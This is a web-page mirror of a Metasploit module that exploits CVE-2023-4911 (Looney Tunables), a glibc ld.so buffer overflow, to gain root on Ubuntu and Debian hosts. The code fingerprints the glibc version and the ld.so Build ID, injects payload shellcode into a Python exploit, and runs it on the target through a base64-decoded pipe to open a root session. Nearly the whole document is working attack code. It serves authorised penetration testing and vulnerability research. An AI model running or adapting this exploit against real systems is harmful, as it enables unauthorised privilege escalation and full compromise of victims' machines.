CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/glibc_tunables_priv_esc.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
# includes: is_root?
10
include Msf::Post::Linux::Priv
11
# includes: kernel_release
12
include Msf::Post::Linux::Kernel
13
# include: get_sysinfo
14
include Msf::Post::Linux::System
15
# includes writable?, upload_file, upload_and_chmodx, exploit_data, cd
16
include Msf::Post::File
17
# includes register_files_for_cleanup
18
include Msf::Exploit::FileDropper
19
prepend Msf::Exploit::Remote::AutoCheck
20
21
BUILD_IDS = {
22
'69c048078b6c51fa8744f3d7cff3b0d9369ffd53' => 561,
23
'3602eac894717d56555552c84fc6b0e4d6a4af72' => 561,
24
'a99db3715218b641780b04323e4ae5953d68a927' => 561,
25
'a8daca28288575ffc8c7641d40901b0148958fb1' => 580,
26
'61ef896a699bb1c2e4e231642b2e1688b2f1a61e' => 560,
27
'9a9c6aeba5df4178de168e26fe30ddcdab47d374' => 580,
28
'e7b1e0ff3d359623538f4ae0ac69b3e8db26b674' => 580,
29
'956d98a11b839e3392fa1b367b1e3fdfc3e662f6' => 322
30
}
31
def initialize(info = {})
32
super(
33
update_info(
34
info,
35
'Name' => 'Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)',
36
'Description' => %q{
37
A buffer overflow exists in the GNU C Library's dynamic loader ld.so while processing the GLIBC_TUNABLES
38
environment variable. This issue allows an local attacker to use maliciously crafted GLIBC_TUNABLES when
39
launching binaries with SUID permission to execute code in the context of the root user.
40
41
This module targets glibc packaged on Ubuntu and Debian. The specific glibc versions this module targets are:
42
43
Ubuntu:
44
2.35-0ubuntu3.4 > 2.35
45
2.37-0ubuntu2.1 > 2.37
46
2.38-1ubuntu6 > 2.38
47
48
Debian:
49
2.31-13-deb11u7 > 2.31
50
2.36-9-deb12u3 > 2.36
51
52
Fedora 37 and 38 and other distributions of linux also come packaged with versions of glibc vulnerable to CVE-2023-4911
53
however this module does not target them.
54
},
55
'Author' => [
56
'Qualys Threat Research Unit', # discovery
57
'blasty <[email protected]>', # PoC
58
'jheysel-r7' # msf module
59
],
60
'References' => [
61
['CVE', '2023-4911'],
62
['URL', 'https://haxx.in/files/gnu-acme.py'],
63
['URL', 'https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt'],
64
['URL', 'https://security-tracker.debian.org/tracker/CVE-2023-4911'],
65
['URL', 'https://ubuntu.com/security/CVE-2023-4911']
66
],
67
'License' => MSF_LICENSE,
68
'Platform' => [ 'linux', 'unix' ],
69
'Arch' => [ ARCH_X86, ARCH_X64 ],
70
'SessionTypes' => [ 'shell', 'meterpreter' ],
71
'Targets' => [[ 'Auto', {} ]],
72
'Privileged' => true,
73
'DefaultTarget' => 0,
74
'DefaultOptions' => {
75
'PrependSetresgid' => true,
76
'PrependSetresuid' => true,
77
'WfsDelay' => 600
78
},
79
'DisclosureDate' => '2023-10-03',
80
'Notes' => {
81
'Stability' => [ CRASH_SAFE, ],
82
'SideEffects' => [ ],
83
'Reliability' => [ REPEATABLE_SESSION, ]
84
}
85
)
86
)
87
register_advanced_options([
88
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
89
])
90
end
91
92
def find_python
93
%w[python python3].select(&method(:command_exists?)).first
94
rescue StandardError => e
95
fail_with(Failure::Unknown, "An error occurred finding a version of python to use: #{e.message}")
96
end
97
98
def check
99
glibc_version = cmd_exec('ldd --version')&.scan(/ldd\s+\(\w+\s+GLIBC\s+(\S+)\)/)&.flatten&.first
100
return CheckCode::Unknown('Could not get the version of glibc') unless glibc_version
101
102
sysinfo = get_sysinfo
103
case sysinfo[:distro]
104
when 'ubuntu'
105
# Ubuntu's version looks like: 2.35-0ubuntu3.4. The following massaging is necessary for Rex::Version compatibility
106
test_version = glibc_version.gsub(/-\d+ubuntu/, '.')
107
if Rex::Version.new(test_version).between?(Rex::Version.new('2.35'), Rex::Version.new('2.35.3.4')) ||
108
Rex::Version.new(test_version).between?(Rex::Version.new('2.37'), Rex::Version.new('2.37.2.1')) ||
109
Rex::Version.new(test_version).between?(Rex::Version.new('2.38'), Rex::Version.new('2.38.6'))
110
return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
111
end
112
when 'debian'
113
# Debian's version looks like: 2.36-9+deb12u1. The following massaging is necessary for Rex::Version compatibility
114
test_version = glibc_version.gsub(/\+deb/, '.').gsub(/u/, '.').gsub('-', '.')
115
if Rex::Version.new(test_version).between?(Rex::Version.new('2.31'), Rex::Version.new('2.31.13.11.7')) ||
116
Rex::Version.new(test_version).between?(Rex::Version.new('2.36'), Rex::Version.new('2.36.9.12.3'))
117
return CheckCode::Appears("The glibc version (#{glibc_version}) found on the target appears to be vulnerable")
118
end
119
else
120
return CheckCode::Unknown('The module has not been tested against this Linux distribution')
121
end
122
CheckCode::Safe("The glibc version (#{glibc_version}) found on the target does not appear to be vulnerable")
123
end
124
125
def check_ld_so_build_id
126
# Check to ensure the python exploit has the magic offset defined for the BuildID for ld.so
127
if command_exists?('file')
128
check_ld_so_build_id_file
129
elsif command_exists?('readelf')
130
check_ld_so_build_id_readelf
131
elsif command_exists?('perf')
132
check_ld_so_build_id_perf
133
else
134
print_warning('Unable to locate the commands to verify the BuildID for ld.so.')
135
end
136
end
137
138
def check_ld_so_build_id_readelf
139
file_cmd_output = ''
140
141
# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
142
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
143
sysinfo = get_sysinfo
144
case sysinfo[:distro]
145
when 'ubuntu'
146
if command_exists?('ldconfig')
147
file_cmd_output = cmd_exec('readelf -a $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*") | grep "Build ID"')
148
end
149
when 'debian'
150
file_cmd_output = cmd_exec('readelf -a "$(readlink -f "$(command -v ld.so)")"| grep "Build ID"')
151
else
152
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
153
end
154
155
if file_cmd_output =~ /Build ID: (\w+)$/
156
build_id = Regexp.last_match(1)
157
if BUILD_IDS.keys.include?(build_id)
158
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
159
else
160
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
161
end
162
else
163
print_warning('Unable to verify the BuildID for ld.so via `readelf`, the exploit has a chance of being incompatible with this target.')
164
end
165
end
166
167
def check_ld_so_build_id_file
168
file_cmd_output = ''
169
170
# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
171
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
172
sysinfo = get_sysinfo
173
case sysinfo[:distro]
174
when 'ubuntu'
175
if command_exists?('ldconfig')
176
file_cmd_output = cmd_exec('file $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
177
end
178
when 'debian'
179
file_cmd_output = cmd_exec('file "$(readlink -f "$(command -v ld.so)")"')
180
else
181
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
182
end
183
184
if file_cmd_output =~ /BuildID\[.+\]=(\w+),/
185
build_id = Regexp.last_match(1)
186
if BUILD_IDS.keys.include?(build_id)
187
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
188
else
189
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
190
end
191
else
192
print_warning('Unable to verify the BuildID for ld.so via `file`, the exploit has a chance of being incompatible with this target.')
193
end
194
end
195
196
def check_ld_so_build_id_perf
197
perf_cmd_output = ''
198
199
# This needs to be split up by distro as Ubuntu has readlink and which installed by default but "ld.so" is not
200
# defined on the path like it is on Debian. Also Ubuntu doesn't have ldconfig install by default.
201
sysinfo = get_sysinfo
202
case sysinfo[:distro]
203
when 'ubuntu'
204
if command_exists?('ldconfig')
205
perf_cmd_output = cmd_exec('perf buildid-list -i $(ldconfig -p | grep -oE "/.*ld-linux.*so\.[0-9]*")')
206
end
207
when 'debian'
208
perf_cmd_output = cmd_exec('perf buildid-list -i "$(readlink -f "$(command -v ld.so)")"')
209
else
210
fail_with(Failure::NoTarget, 'The module has not been tested against this Linux distribution')
211
end
212
213
if perf_cmd_output =~ /([0-9a-f]+)/
214
build_id = Regexp.last_match(1)
215
if BUILD_IDS.keys.include?(build_id)
216
print_good("The Build ID for ld.so: #{build_id} is in the list of supported Build IDs for the exploit.")
217
else
218
fail_with(Failure::NoTarget, "The Build ID for ld.so: #{build_id} is not in the list of supported Build IDs for the exploit.")
219
end
220
else
221
print_warning('Unable to verify the BuildID for ld.so via `perf`, the exploit has a chance of being incompatible with this target.')
222
end
223
end
224
225
def exploit
226
fail_with(Failure::BadConfig, 'Session already has root privileges') if is_root?
227
228
python_binary = find_python
229
fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary
230
vprint_status("Using '#{python_binary}' to run the exploit")
231
232
check_ld_so_build_id
233
234
shell_code = payload.encoded.unpack('H*').first
235
236
exploit_data = exploit_data('CVE-2023-4911', 'cve_2023_4911.py')
237
exploit_data = exploit_data.gsub('METASPLOIT_SHELL_CODE', shell_code)
238
exploit_data = exploit_data.gsub('METASPLOIT_BUILD_IDS', BUILD_IDS.to_s.gsub('=>', ':'))
239
240
vprint_status('All good let\'s go.')
241
# If there is no response from cmd_exec after the brief 15s timeout, this indicates exploit is running successfully
242
output = cmd_exec("echo #{Rex::Text.encode_base64(exploit_data)} |base64 -d | #{python_binary}")
243
if output.blank?
244
print_good('The exploit is running. Please be patient. Receiving a session could take up to 10 minutes.')
245
else
246
print_line(output)
247
end
248
end
249
end
250
251